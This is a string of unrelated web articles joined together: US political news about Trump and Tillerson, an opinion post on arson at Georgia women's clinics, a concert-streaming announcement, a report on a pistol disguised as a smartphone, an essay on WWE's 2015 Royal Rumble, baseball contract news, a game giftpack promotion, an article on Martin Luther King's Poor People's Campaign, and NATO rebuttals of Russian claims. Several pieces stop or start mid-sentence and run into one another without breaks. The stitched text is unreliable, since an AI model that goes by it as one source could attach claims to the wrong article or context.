Trump has repeatedly undercut Tillerson on policy issues, including the prospect of diplomacy with North Korea and Saudi Arabia's blockade of Qatar. In private, the two have reportedly clashed over issues as diverse as Venezuelan sanctions and aid to Israel.
Tillerson also publicly distanced himself from Trump’s comments in the wake of a White Nationalist rally in Charlottesville, angering the president.
In December, a Trump administration official confirmed to NBC News that the administration was considering replacing Secretary of State Rex Tillerson with CIA Director Mike Pompeo.
TRUMP v. KIRSTEN GILLIBRAND
Trump picked a fight with Sen. Kirsten Gillibrand (D-N |
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Johnson never named which co-stars upset him, but in the past, the cast of the hit Fast and Furious franchise has always seemed particularly bonded, calling each other “family” and publicly grieving the loss of co-star Paul Walker.
Fast 8 also stars Scott Eastwood, Jason Statham, Kurt Russell, Vin Diesel, and Tyrese Gibson. It’s set to be released April 14, 2017.A tool of the trade for "pro-lifers"
We all know that it's considered in quite poor taste to refer to "pro-life" terrorism as, you know, terrorism.
Read your Emily Post and you'll see it's just not done in polite company. The question of whether women should have the right to make decisions about their own bodies, and about whether it might be okay to harass, intimidate and even murder those women and their doctors, is just too complicated, too touchy, too controversial. Each act of arson, stalking, bombing, shooting, and assassination must be considered an isolated incident and in no way part of a larger, organized movement of people who call themselves "pro-life" even as their movement has a funny habit of killing people. Each of the thousands of acts is a separate act, carried out by a lone wolf whose connections to the "pro-life" movement are purely coincidental. It is permissible, at times, to condemn the acts of violence, but never the movement itself. Because as Americans, we have a right to disagree with each other. And if a particular movement believes in achieving its political goals through terrorism, well, as long as they call themselves "pro-life," that's their right.
So it's refreshing to see that the FBI is investigating the current spree of domestic terrorism in Georgia. Via The Atlanta Journal-Constitution:
The FBI is investigating whether a string of burglaries and arsons at Atlanta-area women's clinics are acts of domestic terrorism. Four of the five incidents were at clinics where doctors worked who expressed concerns to state lawmakers about new abortion restrictions. Below are the incidents. - Jan. 26, Lilburn, The Atlanta Gynecology and Obstetrics Gwinnett office is burglarized. Several laptops are stolen. - March 4, Sandy Springs, Atlanta Women's Health Group office is burglarized. A desktop computer is stolen. - March 17, Suwanee, The Obstetrical and Gynecological Society, which represents doctors who specialize in women's health, is burglarized. Several laptops are stolen. - May 20, Lilburn, The Atlanta Gynecology and Obstetrics Gwinnett office is the target of arson. - May 23, Marietta, A fire that has been ruled arson is set during business hours at abortion provider Alpha Group GYN.
Women's health care providers in Georgia suspect that this wave of terrorism might have something to do with their vocal opposition to the state's latest anti-abortion bill, signed into law by Gov. Nathan Deal. They can't prove it, of course—it's so very hard to prove terrorism when scary Muslims trying to impose sharia law aren't involved—but given the long history of domestic "disagreement" on women's health care, maybe, just maybe, the spate of threats and violence to which they've been subjected might have something to do with being women's health care providers who oppose restrictions to women's health care.
We will never be able to put an end to this kind of domestic terrorism until we call it what it is. So it's nice to see the FBI taking this critical, if impolite, first step in actually calling it what it is: terrorism.We’re just a few days away from Friday’s launch of Dead & Company Summer Tour featuring Grateful Dead members Bob Weir, Bill Kreutzmann and Mickey Hart joined by John Mayer, Jeff Chimenti and Oteil Burbridge. The band has teamed with nugs.net to launch LiveDead.co with live downloads and streams as well as a few live video webcasts in selected markets.
Official recordings of each show from Dead & Company’s tour will be available directly to fans as high quality downloads, CDs and on-demand streams within hours of the last notes ringing out. The professionally recorded audio downloads range from $15.95 for MP3s to $24.95 for 24 bit audiophile downloads. In addition, custom 3-CD sets will be available and each night will be available on demand via the nugs.net app. “This summer is the true convergence of everything we’ve been building at nugs.net over the years, and Dead & Company are the ideal artist partner to push the limits of what nugs.net’s platform can deliver,” said nugs.net Founder and CEO Brad Serling. “We’ll be providing our core audio services of next-day downloads and subscription streaming, while delivering FullHD video with Pay-Per-View webcasts. And I’ll bet we’ll be shipping a lot of CDs from our California plant. We’ve even got plans for a vinyl release or two from this tour,” Serling added.
The first Dead & Company webcast to be confirmed is the band’s Summer Solstice show at Saratoga Performing Arts Center in Saratoga Springs, New York on Tuesday, June 21. The band will stream the first song for free on their Facebook page and fans can order the pro-shot Pay-Per-View webcasts for $29.99 for FullHD 1080p and $24.99 for standard definition. Those who purchase can watch the show live with DVR-like functionality or watch on demand for 28 hours after the concert.
An official recording of Dead & Company’s recent Fillmore show is available for purchase now with other performances available for pre-order via LiveDead.co.Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.
March 29, 2016, 3:34 PM GMT / Updated March 29, 2016, 4:43 PM GMT By Elizabeth Chuck
A Minnesota company has invented a handgun that folds up to look just like a smartphone.
The.380-caliber pistol, called Ideal Conceal, will be available later this year and "will be virtually undetectable because it hides in plain sight," Ideal Conceal says on its website.
In locked position, the two-shot plastic gun with a metal core can be discreetly slipped into pockets, like a real phone. But "with one click of the safety it opens and is ready to fire," Ideal Conceal claims.
The creator, Kirk Kjellberg, told NBC News the idea came to him after he attracted attention for carrying a concealed weapon in a restaurant.
"A boy spotted me in the restaurant and said loudly, 'Mommy, Mommy, that guy's got a gun!' And then pretty much the whole restaurant stared at me," he said.
So Kjellberg, who calls himself a "serial inventor," decided to make a gun that wouldn't stand out so much. He says the Ideal Conceal is the same size as his Galaxy S7 phone with a protective case on it: About 3 inches by 5 inches.
A Facebook page for Ideal Conceal already has more than 13,000 likes. But the product has attracted concern too, with critics arguing its design could pose a security threat at airports and other places.
Kjellberg denies that.
"It's kind of an erroneous idea that this is any different from any other pistol, because when you run it through an x-ray, it has barrels and triggers and hammers — all the things other guns have. It has enough metal in it that it can't escape the metal detector," he said.
Related: Gun Sale Background Checks Hit New High in December 2015
The Department of Homeland Security has contacted him about the pistol, and he plans on giving them x-rays of it so law enforcement can distinguish it from cellphones during airport screenings.
Kjellberg also dismissed concerns about children seeing the phone-shaped weapon and accidentally getting hurt.
"In America, we have lots of children in contact with pistols already. There's been quite a few incidents long before my product came along," he said. "For me, it's not the gun. It's the people. So if you have a pistol and you have children anywhere near you, it's your responsibility to lock that stuff up and keep it away from children."
An Ideal Conceal prototype is slated for June, with sales beginning in October. The gun is listed for $395.
More than 4,000 people around the world have expressed interest in buying it, Kjellberg told NBC affiliate KARE in Minneapolis.
Gun sales hit a new high in 2015 and have nearly doubled since President Obama took office, federal data shows. They peaked in December after the mass terror attacks in Paris and San Bernardino.An Introduction: The Road to Geneva-mania Mitsubishi is promising an all-new concept SUV for the 2015 Geneva Motor Show with two shadowy images that strongly imply a design study unlike anything we’ve ever seen before from the brand: At least that’s what shadowy teaser images tend to want you to think. It’s extremely likely, however, that this WORLD PREMIERE is going to be the Concept XR-PHEV with a revised front and rear end. Yes, that is the same Concept XR-PHEV that originally premiered at the Tokyo Motor Show in November 2013 and was lazily trotted out again at the 2014 LA Auto Show out as Mitsubishi’s declaration that it was not going to pack up shop and stop selling cars in the United States. By definition, this means that Mitsubishi’s 2015 Geneva Motor Show WORLD PREMIERE is neither all-new nor brand-new. It’s not particularly interesting either, but that’s Mitsubishi for you. Make it their new slogan in the US. Mitsubishi Motors USA: We’re almost entirely unappealing, but hey, we aren’t going away any time soon! To be clear, Mitsubishi is taking something that’s already been around for a good long while, slurping it up and vomiting it back out with a couple of different wrinkles, and calling it BRAND-NEW as if it believes that people who are interested in the automotive industry are complete morons. The manner in which Mitsubishi fails on so many levels to be interesting and yet still has the temerity to treat its audience like a bunch of dopes by presenting something old and calling it new reminds me very much of another company that very recently earned itself a sizeable amount of fan backlash this week: World Wrestling Entertainment. Hang on, folks. It’s a long, windy rabbit hole from here on in. This past Sunday, WWE held their 28th-annual Royal Rumble event, which is traditionally capped off with a 30-man match where the one man who avoids being thrown over the top rope moves on to a title match at the professional wrestling…ahem…sports entertainment equivalent of the Super Bowl—Wrestlemania. The fan-favorite going into the match was one Daniel Bryan, arguably the best professional wrestler in the United States and one of the best in the entire world. Bryan has always been beloved by fans for not only his technical ability, but his affability. In a sport that demands to such a great extent that the audience relates to the performer, Bryan is arguably one of the few pure everymen that the WWE employs. It didn’t hurt that Bryan also had almost three years’ worth of emotional momentum trailing behind him going into Sunday’s Royal Rumble. Fans were at a fever pitch; they demanded Daniel Bryan by name, night in and night out and louder than anyone else. Their feelings on who should move on to face current WWE World Heavyweight Champion, Brock Lesnar, at Wrestlemania 31 were unmistakable. This only makes what was done to Daniel Bryan—and, by extension, his fans—on Sunday night all the more baffling.Content for the tab An Introduction: The Road to Geneva-mania
The Brief and Wondrous Push of Daniel Bryan The crushing wave of adoration for Daniel Bryan began, strangely enough, with an embarrassing eighteen-second loss. Daniel Bryan came into Wrestlemania XVIII as the World Heavyweight Champion, and despite his role as a heel (wrestling parlance for a bad guy), fans would cheer loudly for him whenever he performed out of sheer respect for his abilities. This was no different in Sun Life Stadium on April 1st, where 78,000 fans were hotly anticipating an excellent contest between Bryan and challenger, Sheamus, to open the card. What they got was an 18-second squash match. The bell rang, Bryan kissed his on-screen girlfriend, AJ Lee (who was standing on the ring apron), turned into Sheamus’ Brogue Kick finisher, and was pinned. The objective was clear: kill Daniel Bryan’s momentum and discredit him on the biggest stage in the business. The plan failed. Despite the good guy triumphing over Bryan’s sniveling, misogynistic bad guy character, the crowd made their feelings explicitly clear. For the remainder of the card—one that was headlined by The Rock and John Cena, the latter of whom has served the function of WWE’s top babyface (wrestling parlance for good guy) for the last decade—the fans chanted for Daniel Bryan. The next night, they cheered even louder for Daniel Bryan, and he addressed the crowd after the show to express his appreciation. This pro-Bryan trend continued for more than a year-and-a-half, through Bryan’s programs (and incredible matches) with WWE Champion, CM Punk, and a long, goofy tag-team gig with resident cartoon monster, Kane, until WWE finally acknowledged Bryan’s popularity by putting him into a title match with John Cena at Summerslam 2013. And, for a brief moment, fans ultimately got their wish: Bryan defeated Cena and won the WWE Championship in an exciting contest that made him look like a legitimate star. The celebration was short-lived, however, as Randy Orton took the title away from him mere minutes later by cashing in his Money in the Bank briefcase—a MacGuffin that holds a contract good for one title match at any time of the possessor’s choosing. Bryan won the belt back a month later at Night of Champions only to relinquish it the next night when it was revealed that the referee was biased against the bad guys. All in all, Bryan’s two WWE title runs lasted less than 24 hours combined, and was becoming readily apparent to fans that, despite the crowd’s lust for a Daniel Bryan title run, WWE chairman and owner, Vince McMahon, would not set his prejudices aside long enough to give them what they wanted. The belief is that management—particularly Vince McMahon—was not and is not of the opinion that Bryan translates as a main event guy. This very much factors into the treatment of the Daniel Bryan character, evidenced by the years-long mandate that lead announcer, Michael Cole, constantly denigrate Bryan as a “nerd” and an “indie darling” so as to sway the audience into spurning him. When Cole was eventually begged off, McMahon’s son-in-law, Triple H, and daughter, Stephanie, were brought in as on-screen authority characters, and they took up the reins of lambasting Bryan, going so far as to call him a “B+ player.” Bryan was quickly scuttled out of the title picture for a couple of months in the hopes that the audience would simply move on, but the fans did not waver in their convictions: they wanted Daniel Bryan as their champion, and they wanted him to win it in the main event of Wrestlemania XXX. Then the 2014 Royal Rumble happened. Inexplicably, Bryan was denied a spot in the 2014 Royal Rumble match, and when entrant number 30 turned out to be not Bryan but Rey Mysterio, Jr., the crowd in Pittsburgh showered the ring with boos. The WWE Universe, as they are so often called, made it clear that they wanted Daniel Bryan. Vince McMahon adamantly disagreed with them. Then, like deus ex machina, a chain of events sparked a sweeping change: CM Punk, the company’s other top babyface, quit the day after the Rumble for a multitude of reasons up to and including medical negligence and a lack of confidence in the company’s future direction. 2014 Rumble-winner, Dave Bautista (aka Drax the Destroyer from Guardians of the Galaxy), was treated less-than-warmly by arenas full of fans despite his position as the returning babyface, and they had no choice but to turn him heel. Chants of “Daniel Bryan” permeated nearly every match on every card, even at events where Bryan wasn’t in the building. The fans were not happy with the direction the company was taking, and something clearly had to be done to save Wrestlemania. WWE’s hand was forced—they had to give the man they deemed a B+ player the Wrestlemania XXX main event. He submitted Bautista with the “Yes! Lock” and won the WWE World Heavyweight Championship. Funny enough, the fans really loved this. Daniel Bryan’s signature chant involves thrusting his arms triumphantly skyward and bellowing out one singular word like a god-given mandate: “YES!” The “Yes!” chant seeped into popular culture to a great extent between 2012 and 2014, gradually becoming a staple in sports arenas around the world. People chanted “Yes!” at Miami Heat games. People chanted “Yes!” at Pittsburgh Pirates games. There, standing in the middle of the ring in the Mercedes-Benz Superdome, Daniel Bryan held the two most-coveted title belts in professional wrestling and chanted “Yes!” And 75,167 people, relieved for their hero and for the end of their suffering, chanted “Yes!” along with him. That happy moment, frozen in time, didn’t last. Bryan married his longtime girlfriend, WWE Diva Brie Bella, five days after his Wrestlemania victory. Ten days after, Bryan’s father died. Nearly a month after that, Bryan announced that he would need to undergo potentially-career-threatening neck surgery, and he was stripped of his title on June 9th. So ended Daniel Bryan’s “Yes!” Movement. That was, until he returned on the December 29th episode of Raw and announced that he would return for the 2015 Royal Rumble. Surely, this time things would be different. Surely this time WWE had learned from its mistakes. Right?
When it Reigns, it Pours (Mostly Apathy) The stage was all set for Daniel Bryan to win the 2015 Royal Rumble on Sunday, and all the pieces lined up perfectly. Bryan, fresh off of a turbulent seven-month layoff and multiple surgeries, would win the battle royal and go on to face the monstrous killing machine, Brock Lesnar, at Wrestlemania 31 for the title that he never actually lost. It’s a David versus Goliath story so obvious that Joseph Campbell could have appended The Hero with a Thousand Faces with it as an example of the hero’s journey. The only thing standing in his way: Roman Reigns, Vince McMahon’s long-groomed heir-apparent to John Cena’s throne, who had been projected to win the Royal Rumble match and headline Wrestlemania for months. Reigns, like so many other pro wrestlers throughout history, fell into wrestling after he flamed out of professional football—the former All-ACC defensive tackle for the Georgia Tech Yellow Jackets only played a single five-game, nine-tackle season with the Edmonton Eskimos after getting dropped from two NFL practice squads. Unlike most pro wrestlers, however, Reigns was guided to wrestling by way of a storied family heritage in the squared circle. His father, Sika Anoa’i, was one half of the WWE Hall of Fame tag-team The Wild Samoans. His brother, Matthew, competed for the WWE as Rosey between 2002 and 2006. His cousins include professional wrestlers Rikishi, Yokozuna, current WWE Tag Team Champions Jimmy and Jey Uso, and the most prominent Samoan pro wrestler of all time, Dwayne “The Rock” Johnson. We’ll come back to him in a bit. After two years in the WWE’s developmental territory, Reigns joined the main roster in 2012 as the muscle for the three-man stable known as The Shield. Despite early indications that either Seth Rollins or Dean Ambrose might end up being the biggest breakout star of the group, it became abundantly clear that Roman Reigns was Vince McMahon’s guy. He was booked as a big, intimidating enforcer whose sole interaction with the ever-present camera was to smolder and tell anyone who was listening to “believe that.” He let his actions do the talking, and the approach worked wonders. In the 2014 Royal Rumble, Reigns set the mark for most eliminations in a single match by throwing 12 men over the top rope. The Pittsburgh crowd loved it. He was then rocketed into the WWE Heavyweight Championship picture after The Shield’s demise, and just three short PPVs removed from Wrestlemania 30, Reigns was a sentimental favorite in a four-way title match against Kane, John Cena, and Randy Orton. He was on track to being established as a bona fide main-eventer, and the crowd was into him enough that it just might work. Then he was forced out by an incarcerated hernia, and everything changed. His shtick worked solely because he was believable as the good-looking tough guy who doesn’t say much. And then he returned from his injury. And started talking. A lot. Reigns’ underwhelming performances on the microphone—including typical badass good guy posturing and far too many recitations of 70-year-old catchphrases from cartoon characters—have greatly hindered his ability to connect with the audience. This is the same problem that has squashed the momentum of wrestlers like Cesaro, but in the case of Reigns, it has done nothing to stop his arduous march to the top of the card. For the sake of comparison: in a segment on the December 29th episode of Raw, Cesaro committed a minor gaffe by saying that a wrestling ring has four ropes and not three; the announcers killed him for it for the duration of his match, treating him like an absolute moron. A week later, Roman Reigns, as a means to make up for a string of flubbed his lines in previous promos, honest to god, used the words “suffering succotash” in a promo—to, I don’t know, prove that he can alliterate, I guess—and then winked at the camera. (The offending lines start at 2:27; the offending wink happens at 2:41) Not one announcer said a single cross word. To that point, the crowd reaction to Reigns has been warm if unremarkable. Fans liked him, but not a degree that would indicate he was ready to headline a show the magnitude of Wrestlemania, and certainly nowhere near as much as they like Daniel Bryan. Burdening Reigns with poorly-written promos that he couldn’t deliver effectively caused some to draw parallels between Reigns and the man that he was being groomed to replace: John Cena. Cena, despite being positioned as the company’s top babyface for a decade, has long been reviled by a large percentage of the fanbase. This boils down to a number of factors, up to and including tacky promos filled with bad catchphrases and the company’s (read: Vince McMahon’s) insistence that he is the omnipresent vanilla good guy who is seldom ever made to lose or look weak. There is a unique phenomenon that occurs at WWE shows where John Cena performs. During his matches, a large portion of the audience—primarily comprised of younger fans—wills Cena on with the cry “Let’s Go Cena.” In response, an almost equally large (and sometimes larger, depending on the city) contingent—primarily comprised of adult males—responds with the thunderous refrain “Cena Sucks.” This, naturally, is not the reaction the WWE wants for its top good guy. Many surmised that Reigns’ path, should it be built to mirror that of John Cena, would wind up at a similar point where the crowd is divided. Yet, through it all, the crowd had not turned on Roman Reigns. If a portion of the audience was vehemently opposed to Reigns, they were decidedly in the minority. But the potential for a fan revolt against Reigns was simmering beneath the surface, particularly if he should triumph over the beloved Daniel Bryan in the 2015 Royal Rumble. If there was one surefire way to ruin this fragile equilibrium, it would be for Vince McMahon to put forth a sub-par 2015 Royal Rumble with a finish that satisfied absolutely no one except possibly for himself. So that’s exactly what he did.
2015 Royal Rumble: A New Movement Rises Even with the benefit of being preceded by one of the best WWE Heavyweight Championship matches that the company has put on in decades (if not one of the best it’s ever done), the 2015 Royal Rumble completely incensed the fanbase with its near-unprecedented awfulness. This was not anger to the degree where people simply raged about it on message boards and social media. This was anger to the extent that fans at the Wells Fargo Center gathered in the parking lot to block the talent from leaving the arena. Two hours after the 2015 Royal Rumble concluded, the number one trending hashtag on Twitter was #cancelWWENetwork. And, as evidenced by the fact that the page to cancel one’s WWE Network subscription crashed for a period of time because it was so inundated with traffic, a great many followed that edict to the letter. What made everyone so mad? Here’s the long and short of it: Daniel Bryan entered the match at number 10, performed a few spots, and was unceremoniously dumped out a few minutes later at the halfway point of the match. Reigns entered at number 19 to a deafening chorus of boos and proceeded to do almost nothing for half-an-hour while last-gasp fan-favorites like Damien Sandow Mizdow, Bray Wyatt, Dolph Ziggler, and Dean Ambrose were dumped in quick succession. Reigns was left to eliminate three of the most stock wrestling trope characters—a giant, a bigger giant, and an evil Russian, none of whom had any realistic chance of upsetting Reigns—and stand in the middle of the ring with his arm being raised by his own cousin, Dwayne “The Rock” Johnson, who showed up in time to save Roman from a two-on-one beat down (and, in reality, to deflect the crowd’s boos and give his cousin the rub). In even shorter terms: the WWE, for the second year in a row, ignored its fans so that Vince McMahon’s vision of a perfect Wrestlemania could live. And the fans in Philadelphia were having none of it. Standing next to arguably the most popular professional wrestler ever, Roman Reigns should have been soaking up a magnitude of love and adoration similar to that routinely heaped on Daniel Bryan. Instead, he was booed mercilessly to such an extent that the normally imperturbable Rock was visibly flustered. Just check out this post-match promo: That is a man who gets paid millions of dollars to talk and act for a living thrown completely off of his game by the reaction of an angry crowd. Why were so many people so angry about the outcome of a match in a sport where the outcomes are pre-determined? Think about it in this context: to wrestling fans, not having Daniel Bryan take his rightful place in the main event of Wrestlemania 31 is perhaps a bit like having Walter White die halfway through Season Six of Breaking Bad. Having him lose halfway through the match with no fanfare was probably like doing the whole thing off-screen and finding out that he just died in a low-speed car accident on the way to pick up a pizza. It’s not necessarily the fact that they had the balls to do it; it’s the insulting execution of the whole bloody affair. Ultimately, a lot of what may have contributed to Roman Reigns’ burial beneath an avalanche of loathing on Sunday was how the company presented him in the weeks since he had returned from his injury. Gone was the quiet enforcer, replaced by a man who spouted fairy tales and generally looked uncomfortable talking into a microphone. So how does this all tie in to Mitsubishi’s general awfulness? Let’s talk about that.Clayton Kershaw and Jake Arrieta are two of the best pitchers in all of baseball, and it’s not really close. There are differences between the two — mainly age and pitching style — but the most glaring is the disparity between their contracts. Arrieta is currently pitching on a one-year deal worth $10.7 million, which he signed earlier this year to avoid arbitration.
Kershaw, on the other hand, inked a massive seven-year, $215 million contract in 2014 and is making more than $30 million per year. While they’re arguably the most dominant pitchers in the game, the two aren’t being paid like equals, though that day could come next year. Arrieta is set to be a free agent for the first time following the 2017 season, and he’s looking to get paid like an ace.
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Kershaw got his money, and he shared a bit of advice for Arrieta, nudging him to stay in Chicago where he’s clearly happy.
Kershaw never seemed to consider leaving Los Angeles, and why would he after receiving a $215 million deal? It was an easy choice for Kershaw, but the decision may not be as simple for Arrieta. At 30 years old, it’s not certain he’ll receive a seven-year deal, which every pitcher desires. More importantly, it’s not definite that the Cubs will be inclined to give him such a lengthy contract.
For more reasons than one, Kershaw is a player Arrieta follows closely — on the diamond and off it. The Cubs ace says he looks to Kershaw for advice, but will he make Chicago fans happy and listen to his words of wisdom ahead of free agency?
"He’s going to go down as one of the greatest ever," Arrieta said. "He’s a role model for kids. You learn from guys like that. As a peer of mine, I look to him for information."Pivotal Gamers has teamed up with AMZGame for an Open Beta giftpack giveaway of their new free-to-play (F2P) Browser based RPG game, Chronicles of Eidola.
Set in a magical world, Chronicles of Eidola is a completely new turn-based RPG game. In this game you play as an avenger who can create contracts with heroes, devils, and servants to achieve your goals! You can face deadly bosses on your own, or team up with other players to risk everything on nearly impossible quests. You can even challenge other players and destroy their plans. Let’s unveil this new world!
Each Code will grant you the following items:
10 Goblin Satchel
10 Diviner’s Stone(C)
10 Blitz Order
1 Ruby
A giftpack of $50 total value!
Please note the code can be redeemed only once per account.
363 keys left!
How to redeem the code
Login to Chronicles of Eidola by clicking here, and click this icon on the upper right of the screen as shown in the following screenshot.
Input your gift code in the blank and click “Claim”.
The gift will be delivered to your bag right away.
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ISR Issue 58, MarchApril 2008 1968: The year that shook the world THIS IS the second in a series of articles about the remarkable year 1968, a year of conflict, class struggle, and revolutionary upheaval around the world. Martin Luther King’s last fight By BRIAN JONES “Where do we go from here?”
BY THE end of 1967, after a long and bitter struggle, African Americans had won federal legislation to guarantee civil rights, and to make any form of racial segregation illegal. Speaking to his organization, the Southern Christian Leadership Conference (SCLC), the Reverend Dr. Martin Luther King Jr. summed up these victories in a speech entitled, “Where Do We Go From Here?”: In short, over the last ten years the Negro decided to straighten his back up, realizing that a man cannot ride your back unless it is bent. We made our government write new laws to alter some of the cruelest injustices that affected us. We made an indifferent and unconcerned nation rise from lethargy and subpoenaed its conscience to appear before the judgment seat of morality on the whole question of civil rights. We gained manhood in the nation that had always called us “boy.” ….But in spite of a decade of significant progress, the problem is far from solved. The deep rumbling of discontent in our cities is indicative of the fact that the plant of freedom has grown only a bud and not yet a flower. 1 Black people had legal equality, King argued, and yet racism persisted. Furthermore, Black people still had not won economic equality. “The Negro,” he said, “still lives in the basement of the Great Society.” He is still at the bottom, despite the few who have penetrated to slightly higher levels. Even where the door has been forced partially open, mobility for the Negro is still sharply restricted. There is often no bottom at which to start, and when there is, there’s almost no room at the top. In consequence, Negroes are still impoverished aliens in an affluent society. They are too poor even to rise with the society, too impoverished by the ages to be able to ascend by using their own resources. And the Negro did not do this himself; it was done to him. For more than half of his American history, he was enslaved. Yet, he built the spanning bridges and the grand mansions, the sturdy docks and stout factories of the South. His unpaid labor made cotton “King” and established America as a significant nation in international commerce. Even after his release from chattel slavery, the nation grew over him, submerging him. It became the richest, most powerful society in the history of man, but it left the Negro far behind. 2 Addressing indirectly the rise of calls for a “Black power” movement, King agreed that Black people needed power, and defined it as “the strength required to bring about social, political, and economic change.” He went on to quote the president of the United Auto Workers: “Walter Reuther defined power one day. He said, ‘Power is the ability of a labor union like UAW to make the most powerful corporation in the world, General Motors, say, “Yes” when it wants to say “No.”’ That’s power.” 3 King argued that SCLC needed to focus on building a movement of sufficient power to win a guaranteed income for all Americans. “We must create full employment or we must create incomes.” And I say to you today, that if our nation can spend thirty-five billion dollars a year to fight an unjust, evil war in Vietnam, and twenty billion dollars to put a man on the moon, it can spend billions of dollars to put God’s children on their own two feet right here on earth. 4 Most people learn in school that King was a man who preached love and nonviolence. In truth, Dr. King’s political ideas, while firmly rooted in Christian ideals, were far more radical than American textbooks let on. King supported reparations for slavery, opposed the idea that Blacks should pull themselves up “by their own bootstraps,” and was highly critical of capitalism. “You can’t talk about ending slums,” he once told his staff, “without first saying profit must be taken out of slums.” 5 In the last year of his life, King spoke, fought, and organized, not for peace and love in the abstract, but for the billions of dollars needed to solve the economic problems of African Americans. It was this orientation that brought him to Memphis, where he was assassinated on April 4, 1968. His death, and the nationwide riots that followed, highlighted the degree to which the “Negro question” remained unsolved in America. “In a sense, you could say we’re involved in the class struggle.”
—King to New York Times reporter, 1968 6 King’s plan, the Poor People’s Campaign, as he called it, would bring thousands of multiracial poor people to Washington, D.C., in the spring of 1968. The idea was that they would engage in mass, nonviolent civil disobedience—blocking streets and government buildings—until their demands were met. From ghettoes and Indian reservations and white Appalachia and rural plantations, some walking or riding mules “through the tough areas, that’s drama right there.” They could invite allies to join nonviolent witness in the capital— college students, President Johnson’s poverty experts, Newsweek readers, the peace movement. “Now they may not respond,” said King. “I can’t promise that, but I do think we’ve got to go for broke this time.” 7 SCLC, however, was ill-prepared for this kind of campaign. Historian Michael Honey explains just how drastic this change in direction was: They had spent their lives in the civil rights movement and the Black church. Now King called on them to organize a new multiracial constituency around class issues among Mexican Americans, Indians, and poor whites as well as African Americans. SCLC did not have the resources and organizing structure to make it happen. Almost alone, King had to convince not only the civil rights community and a broader public, but also his own reluctant staff members, that they could organize the poor. 8 King eventually did convince his staff to begin organizing the Poor People’s Campaign, but they ran into innumerable difficulties from the start. Middle-class clergy—King’s target as a base of organizers—wanted to flex their newfound political muscle at the ballot box, not reach down to organize the poorest of the poor. A conference organized by SCLC failed to win commitments from the 150 ministers assembled, despite personal appeals from King. SCLC invited 120 ministers to a meeting in Virginia, and not one showed up. Six hundred people packed into a Baptist church in Chapel Hill to listen to King lay out his plan for the campaign, but when he called for volunteers, only two hands went up. 9 King understood that this hesitation was, in part, a question of class. “You know, we have too many Negroes who have somehow, through some education and a degree of economic security floated or…swam out of the back waters…[but now they have] forgotten the stench of the backwaters.” 10 SCLC organizers had a hard time switching to poverty as a focus. The organizers “found poverty an abstraction,” writes historian Taylor Branch, “unlike skin color or the ballot,” and they complained that potential recruits did not want to think of themselves as poor. Should the staff look for degraded human exhibits or articulate witnesses? They found uprooted people nevertheless resistant to change—homeless but reluctant to leave hometowns, filled with unanswerable questions about what to expect. 11 King fell into a depression at the failure |
on Iran's nuclear programme obviates the need for NATO missile defence is wrong on two counts.
The Iranian agreement does not cover the proliferation of ballistic-missile technology which is an issue completely different from nuclear questions.
Furthermore, NATO has repeatedly made clear that missile defence is not about any one country, but about the threat posed by proliferation more generally. In fact, over 30 countries have obtained, or are trying to obtain, ballistic missile technology. The Iran framework agreement does not change those facts.
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Claim: The accession of new Allies to NATO threatens Russia
Fact: Every country which joins NATO undertakes to uphold the principles and policies of the Alliance, and the commitments which NATO has already made.
This includes the commitment that NATO poses no threat to Russia, as most recently stated at the Warsaw Summit.
Therefore, as the number of countries which join NATO grows, so does the number of countries which agree that "the Alliance does not seek confrontation and poses no threat to Russia."
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Promises and pledges
Claim: NATO violates the Non-Proliferation Treaty
Fact: At the Warsaw Summit in July 2016, Allies reaffirmed their full support for the Non-Proliferation Treaty (NPT).
Stationing of US nuclear weapons on the territories of our Allies is fully consistent with the NPT. These weapons remain under the custody and control of the United States at all times.
Furthermore, NATO's nuclear arrangements predate the NPT. They were fully addressed when the treaty was negotiated.
Russia, however, has increased its nuclear rhetoric, stepped up nuclear exercises and regularly rehearses rapid nuclear escalation. Russia has also threatened to base nuclear-capable missiles in Kaliningrad and Crimea. Russia's actions and rhetoric do not contribute to transparency and predictability.
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Claim: NATO's enhanced forward presence violates the NATO-Russia Founding Act?
Fact: Moscow accuses NATO of violating an important part of the 1997 NATO-Russia Founding Act related to new permanent stationing of forces. It's called the "Substantial Combat Forces" pledge. That pledge stated that in the "current and foreseeable security environment" NATO would "carry out its collective defence…by ensuring the necessary interoperability, integration, and capability for reinforcement rather than by additional permanent stationing of substantial combat forces."
NATO has fully abided by this pledge. The four multinational battlegroups deploying to the eastern part of our Alliance are rotational, defensive and well below any reasonable definition of "substantial combat forces." There has been no permanent stationing of substantial combat forces on the territory of eastern allies; and total force levels across the Alliance have, in fact, been substantially reduced since the end of the Cold War.
Russia, which pledged to exercise "similar restraint" has increased the numbers of its troops along Allied borders, and breached agreements which allow for verification and military transparency, in particular on military exercises.
By signing the NATO-Russia Founding Act, Russia also pledged not to threaten or use force against NATO Allies and any other state. It has broken this commitment, with the illegal and illegitimate annexation of Crimea, the territory of a sovereign state. Russia also continues to support militants in eastern Ukraine.
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Claim: NATO missile defence violates the INF Treaty
Fact: The Intermediate-Range Nuclear Forces Treaty (INF Treaty) is a crucial element of Euro-Atlantic security. The United States, as a co-signatory, has made clear that the Aegis Ashore sites in Romania and Poland are fully compliant with the INF treaty.
The Aegis Ashore system deployed in Romania is purely defensive. The SM-3 interceptors deployed there cannot be used for offensive purposes. This is also true for the future Aegis Ashore site in Poland.
The bilateral agreements between the US and the two host nations, Romania and Poland, do not allow the sites to be used for any purposes other than missile defence.
NATO's missile defence is strictly defensive and designed to protect European Allies against missile threats from outside the Euro-Atlantic area. It is not directed against Russia and will not undermine Russia's strategic deterrence capabilities.
We have made this clear to Russian authorities many times and at the highest political levels. Russia did not respond positively to our many offers to cooperate on missile defence. In fact, Russia terminated this cooperative dialogue unilaterally in 2013.
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Claim: Russia has the right to oppose NATO-supported infrastructure on the territory of member states in Central and Eastern Europe
Fact: The relationship between NATO and Russia is governed by the Founding Act on Mutual Relations, Cooperation and Security, agreed by NATO Allies and Russia in 1997 and reaffirmed at NATO-Russia summits in Rome in 2002, and in Lisbon in 2010. (The Founding Act can be read here.)
